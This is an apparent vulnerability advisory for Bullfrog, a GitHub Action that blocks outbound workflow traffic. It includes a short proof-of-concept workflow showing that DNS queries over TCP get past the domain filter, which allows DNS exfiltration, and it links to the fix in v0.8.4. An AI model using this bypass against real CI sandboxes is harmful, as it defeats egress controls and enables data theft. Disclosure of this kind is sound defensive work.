Bullfrog's DNS over TCP bypasses domain filtering
### Summary Using tcp breaks blocking and allows DNS exfiltration. ### PoC ``` name: test on: push: branches: - "*" jobs: testBullFrog: runs-on: ubuntu-22.04 steps: - name: Use google dns run: | sudo resolvectl dns eth0 1.1.1.1 resolvectl status - name: Set up bullfrog to block everything uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2 with: egress-policy: block allowed-domains: | *.github.com - name: Test connectivity run: | echo testing udp allowed .. dig api.github.com @1.1.1.1 || : echo testing tcp allowed .. dig api.github.com @1.1.1.1 +tcp || : echo testing udp not allowed dig api.google.com @1.1.1.1 || : echo testing tcp not allowed dig api.google.com @1.1.1.1 +tcp || : ``` ### Impact sandbox bypass 
describes (1)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2025-47775US | high8.6 | — | ||
Bullfrog is a GithHb Action to block unauthorized outbound traffic in GitHub workflows. Prior to version 0.8.4, using tcp breaks blocking and allows DNS exfiltration. This can resu… | ||||
references
External citations — patches, advisories, analysis.
- https://github.com/bullfrogsec/bullfrogPACKAGE
- https://github.com/bullfrogsec/bullfrog/commit/ae7744ae4b3a6f8ffc2e49f501e30bf1a43d4671WEB
- https://github.com/bullfrogsec/bullfrog/releases/tag/v0.8.4WEB
- https://github.com/bullfrogsec/bullfrog/security/advisories/GHSA-m32f-fjw2-37v3WEB
- https://nvd.nist.gov/vuln/detail/CVE-2025-47775ADVISORY
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